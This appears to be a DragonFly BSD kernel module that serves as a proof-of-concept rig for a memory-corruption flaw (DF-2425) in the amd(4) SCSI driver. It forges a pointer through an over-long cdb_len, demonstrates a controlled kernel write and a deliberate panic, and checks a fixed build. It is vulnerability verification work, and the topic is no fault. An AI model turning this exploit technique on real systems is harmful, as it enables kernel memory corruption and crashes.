/*
 * DF-2425 verification rig -- DragonFly KLD
 *
 * Drives the *production* amd(4) driver source (sys/dev/disk/amd/amd.c,
 * included verbatim below) with a crafted XPT_SCSI_IO ccb, replicating
 * what amd_attach() sets up (softc + dma tag + SRB list + cam_sim), but
 * without PCI hardware.
 *
 * The finding: amd.c:399-400 does
 *      pSRB->ScsiCmdLen = pcsio->cdb_len;
 *      bcopy(pcsio->cdb_io.cdb_bytes, pSRB->CmdBlock, pcsio->cdb_len);
 * with cdb_len an attacker-controlled u_int8_t (0..255) copied verbatim
 * into CmdBlock[12] (amd.h:159).  The 8 bytes of CmdBlock[16..24) land
 * exactly on struct amd_srb.pccb, and those source bytes are
 * ccb_scsiio.msg_ptr (the 8 bytes that follow cdb_bytes[16] in the
 * union ccb payload) -- a user-controlled pointer passed through
 * xpt_merge_ccb() unvalidated.  amdexecutesrb() then does
 *      ccb = srb->pccb;                       amd.c:287
 *      amd = ccb->ccb_h.ccb_amd_ptr;          amd.c:288
 * i.e. dereferences the fully attacker-chosen pointer.
 *
 * Test shim: the ONLY modification to the production code path is
 * `#define xpt_done rig_xpt_done` around the #include.  The shim
 * forwards to the real xpt_done for any ccb with a valid path and
 * swallows (recording) ccbs whose path is NULL -- these are the
 * rig-fabricated ccbs which by construction cannot travel through the
 * real CAM completion machinery.  Baseline (vulnerable) runs never
 * reach xpt_done; only the FIXED build's rejection path does.
 *
 * Modes (sysctl dev.amdrig.fire=N as root):
 *   0 : (module load) run the controlled-WRITE demonstration -- forges
 *       pccb to point at a rig-allocated victim "ccb" and observes the
 *       driver writing through the forged pointer (amd.c:355
 *       `ccb->ccb_h.status |= CAM_SIM_QUEUED`).  Guest survives.
 *   1 : PANIC proof -- forges pccb = 0x414141414141 (canonical,
 *       unmapped).  amd.c:288 faults on it => fatal trap 12.
 *   2 : sanity -- cdb_len=6 XPT_SCSI_IO behaves normally.
 *   3 : reject-case -- cdb_len=255 XPT_SCSI_IO; FIXED build rejects it
 *       (status CAM_REQ_INVALID, SRB untouched/recycled); vulnerable
 *       build repeats the corruption.
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/bus.h>
#include <sys/rman.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/cam_sim.h>
#include <bus/cam/cam_xpt.h>
#include <bus/cam/cam_xpt_sim.h>

static int rig_reject_seen;
static u_int32_t rig_reject_status;

/* real completion routine, resolved before the shim macro is defined */
static void (*real_xpt_done)(union ccb *) = xpt_done;

static void
rig_xpt_done(union ccb *done_ccb)
{
	if (done_ccb == NULL)
		return;
	if (done_ccb->ccb_h.path == NULL) {
		rig_reject_seen++;
		rig_reject_status = done_ccb->ccb_h.status;
		kprintf("RIGDONE: shim saw func=%d status=0x%x\n",
		    done_ccb->ccb_h.func_code, done_ccb->ccb_h.status);
		return;
	}
	real_xpt_done(done_ccb);
}

/*
 * ------------------------------------------------------------------
 * The PRODUCTION driver, compiled into this module.
 *
 * Adaptations, none of which touch the audited code path:
 *  - DRIVER_MODULE (newbus registration boilerplate) is stubbed out:
 *    the rig never attaches to a PCI device (amd_action is invoked
 *    directly) and the GENERIC kernel already owns module "pci/amd",
 *    which would make kldload refuse the rig.
 *  - `#define amd amdrig_chip` renames the module-scope identifier
 *    (variables, *_driver/devclass symbols); every driver function
 *    (amd_action, amdexecutesrb, ...) and type (amd_softc, amd_srb)
 *    is a distinct token and is compiled verbatim from /usr/src.
 *  - xpt_done is shimmed (see above).
 * ------------------------------------------------------------------
 */
#undef DRIVER_MODULE
#define DRIVER_MODULE(name, busname, driver, devclass, evh, arg)	\
	static void __attribute__((unused)) __CONCAT(rig_unused_, name)(void) \
	{ (void)driver; (void)devclass; }
#define amd amdrig_chip
#define xpt_done rig_xpt_done
#include <dev/disk/amd/amd.c>
#undef xpt_done
#undef amd
#undef DRIVER_MODULE

/* ------------------------------------------------------------------ */

static struct amd_softc *g_amd;
static struct cam_sim *g_sim;
static union ccb *g_ccb;	/* fat alloc: absorbs the 255-byte over-read */
static void *g_victim;		/* fake ccb for the controlled-write demo */

MALLOC_DEFINE(M_AMDRIG, "amdrig", "DF-2425 verification rig");

static int
rig_setup(void)
{
	struct cam_devq *devq;

	g_amd = kmalloc(sizeof(struct amd_softc), M_AMDRIG,
			M_INTWAIT | M_ZERO);
	g_ccb = kmalloc(sizeof(union ccb) + 512, M_AMDRIG, M_INTWAIT | M_ZERO);
	g_victim = kmalloc(1024, M_AMDRIG, M_INTWAIT | M_ZERO);

	/* mirror amd_init() (amd.c:2292-2307) minus the PCI I/O resource */
	if (bus_dma_tag_create(/*parent*/NULL, /*align*/1, /*boundary*/0,
			       BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR,
			       /*maxsize*/MAXBSIZE, /*nsegs*/AMD_NSEG,
			       /*maxsegsz*/AMD_MAXTRANSFER_SIZE,
			       BUS_DMA_ALLOCNOW, &g_amd->buffer_dmat) != 0) {
		kprintf("RIGERR: bus_dma_tag_create\n");
		return (1);
	}
	TAILQ_INIT(&g_amd->free_srbs);
	TAILQ_INIT(&g_amd->running_srbs);
	TAILQ_INIT(&g_amd->waiting_srbs);
	/*
	 * last_phase != SCSI_BUS_FREE keeps amdrunwaiting() (amd.c:266)
	 * from touching chip registers we do not have.
	 */
	g_amd->last_phase = SCSI_ARBITRATING;
	g_amd->SRBCount = MAX_SRB_CNT;
	amd_linkSRB(g_amd);			/* amd.c:2109 */

	/* mirror amd_attach() (amd.c:2415-2425) */
	devq = cam_simq_alloc(MAX_START_JOB);
	if (devq == NULL) {
		kprintf("RIGERR: cam_simq_alloc\n");
		return (1);
	}
	g_sim = cam_sim_alloc(amd_action, amd_poll, "amdrig", g_amd,
			      0, &sim_mplock, 1, MAX_TAGS_CMD_QUEUE, devq);
	cam_simq_release(devq);
	if (g_sim == NULL) {
		kprintf("RIGERR: cam_sim_alloc\n");
		return (1);
	}
	kprintf("RIGBEG: softc=%p sim=%p SRB_array=%p sizeof(srb)=%zu "
		"offsetof(CmdBlock)=%zu offsetof(pccb)=%zu\n",
	    g_amd, g_sim, &g_amd->SRB_array[0], sizeof(struct amd_srb),
	    offsetof(struct amd_srb, CmdBlock), offsetof(struct amd_srb, pccb));
	return (0);
}

static void
rig_fill_ccb(u_int8_t cdb_len, void *msg_ptr)
{
	union ccb *ccb = g_ccb;

	bzero(ccb, sizeof(union ccb) + 512);
	ccb->ccb_h.func_code = XPT_SCSI_IO;
	ccb->ccb_h.flags = CAM_DIR_NONE;
	ccb->ccb_h.target_id = 0;
	ccb->ccb_h.target_lun = 0;
	ccb->ccb_h.status = CAM_REQ_INPROG;
	ccb->ccb_h.timeout = 5000;
	ccb->csio.cdb_len = cdb_len;
	memset(ccb->csio.cdb_io.cdb_bytes, 0x4c, 16);
	/*
	 * cdb_bytes[16..24) of the over-read == csio.msg_ptr: these land on
	 * pSRB->pccb.  The following payload fields land on dmamap/pSGlist.
	 */
	ccb->csio.msg_ptr = msg_ptr;
	ccb->csio.msg_len = 0x1337;
	ccb->csio.tag_action = 0x5a;
	ccb->csio.tag_id = 0xc0ffee;
	ccb->csio.init_id = 0x1234abcd;
	ccb->csio.dxfer_len = 0;
}

/* mode 0: controlled write through the forged pccb -- guest survives */
static void
rig_write_demo(void)
{
	struct amd_srb *srb;
	union ccb *vic = g_victim;

	bzero(vic, 1024);
	vic->ccb_h.func_code = XPT_SCSI_IO;
	vic->ccb_h.status = CAM_REQ_INPROG;
	vic->ccb_h.ccb_amd_ptr = g_amd;	/* read by amd.c:288 */

	kprintf("RIGW0: victim=%p (pre status=0x%x), forging pccb=%p "
		"via csio.msg_ptr, cdb_len=255\n",
	    vic, vic->ccb_h.status, vic);

	rig_fill_ccb(255, vic);
	amd_action(g_sim, g_ccb);

	/*
	 * We return here: amd.c:287 loaded srb->pccb (forged = victim),
	 * :288 read victim->ccb_amd_ptr (=g_amd), :347 read the victim
	 * status, :355 wrote `status |= CAM_SIM_QUEUED` THROUGH the forged
	 * pointer, :361 queued the srb; amdrunwaiting() no-ops.
	 */
	kprintf("RIGW1: post victim status=0x%x (CAM_SIM_QUEUED=0x%x) -> %s\n",
	    vic->ccb_h.status, CAM_SIM_QUEUED,
	    (vic->ccb_h.status & CAM_SIM_QUEUED) ?
	    "WRITE-THROUGH-FORGED-PTR-CONFIRMED" : "no-write (unexpected)");

	/* inspect the smashed SRB (first SRB handed out = SRB_array[0]) */
	srb = &g_amd->SRB_array[0];
	kprintf("RIGW2: srb=%p CmdBlock[0..11]=", srb);
	for (int i = 0; i < 12; i++)
		kprintf("%02x", srb->CmdBlock[i]);
	kprintf(" pccb=%p dmamap=%p pSGlist=%p ScsiCmdLen=%d "
		"(expect pccb=victim, dmamap=0x00c0ffee005a1337, "
		"pSGlist=0x1234abcd, ScsiCmdLen=255)\n",
	    srb->pccb, srb->dmamap, srb->pSGlist, srb->ScsiCmdLen);
}

/* mode 1: panic proof */
static void
rig_panic(void)
{
	uint64_t forged = 0x0000414141414141ULL;

	kprintf("RIGP0: forging pccb=0x%lx (canonical, unmapped) via "
		"csio.msg_ptr, cdb_len=255; expect fatal trap at amd.c:288\n",
	    forged);
	rig_fill_ccb(255, (void *)forged);
	amd_action(g_sim, g_ccb);
	kprintf("RIGP1: UNEXPECTED survival\n");
}

/* mode 2: sanity -- ordinary 6-byte CDB must behave normally */
static void
rig_sanity(void)
{
	rig_fill_ccb(6, NULL);
	amd_action(g_sim, g_ccb);
	kprintf("RIGS1: cdb_len=6 returned; waiting_srbs %sempty "
		"(expect non-empty: srb queued normally)\n",
	    TAILQ_EMPTY(&g_amd->waiting_srbs) ? "" : "non-");
}

/* mode 3: reject-case (relevant for the FIXED build) */
static void
rig_reject_case(void)
{
	struct amd_srb *srb = &g_amd->SRB_array[0];
	int before = rig_reject_seen;

	memset(srb, 0, sizeof(*srb));	/* watch for any write into it */
	rig_fill_ccb(255, (void *)0xdeadbeefdead);
	amd_action(g_sim, g_ccb);
	kprintf("RIGR1: cdb_len=255 -> reject_seen=%d (was %d) status=0x%x "
		"free-list has SRB back=%s srb->CmdBlock[0]=0x%02x (0 == "
		"untouched) pccb still valid=%s\n",
	    rig_reject_seen, before, rig_reject_status,
	    (srb->links.tqe_next != NULL || srb->links.tqe_prev != NULL) ?
		"?" : "(check by hand)",
	    srb->CmdBlock[0],
	    (srb->pccb == (void *)0xdeadbeefdead) ? "never-was" :
		(srb->pccb == NULL ? "yes(cleared)" : "SMASHED"));
}

static int
rig_sysctl_fire(SYSCTL_HANDLER_ARGS)
{
	int mode = 0, error;

	error = sysctl_handle_int(oidp, &mode, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	kprintf("RIGFIRE: mode=%d\n", mode);
	switch (mode) {
	case 1: rig_panic(); break;
	case 2: rig_sanity(); break;
	case 3: rig_reject_case(); break;
	default: break;
	}
	return (0);
}
SYSCTL_PROC(_dev, OID_AUTO, amdrig_fire, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, rig_sysctl_fire, "I", "fire DF-2425 rig mode");

static int
amdrig_load(struct module *m, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		if (rig_setup() != 0)
			return (ENXIO);
		rig_write_demo();	/* safe: survives */
		kprintf("RIGEND: module loaded; dev.amdrig_fire=1 -> "
			"panic proof, =2 sanity, =3 reject-case\n");
		return (0);
	case MOD_UNLOAD:
		return (EBUSY);	/* softc/srbs stay referenced forever */
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t amdrig_mod = { "amdrig", amdrig_load, NULL };
DECLARE_MODULE(amdrig, amdrig_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
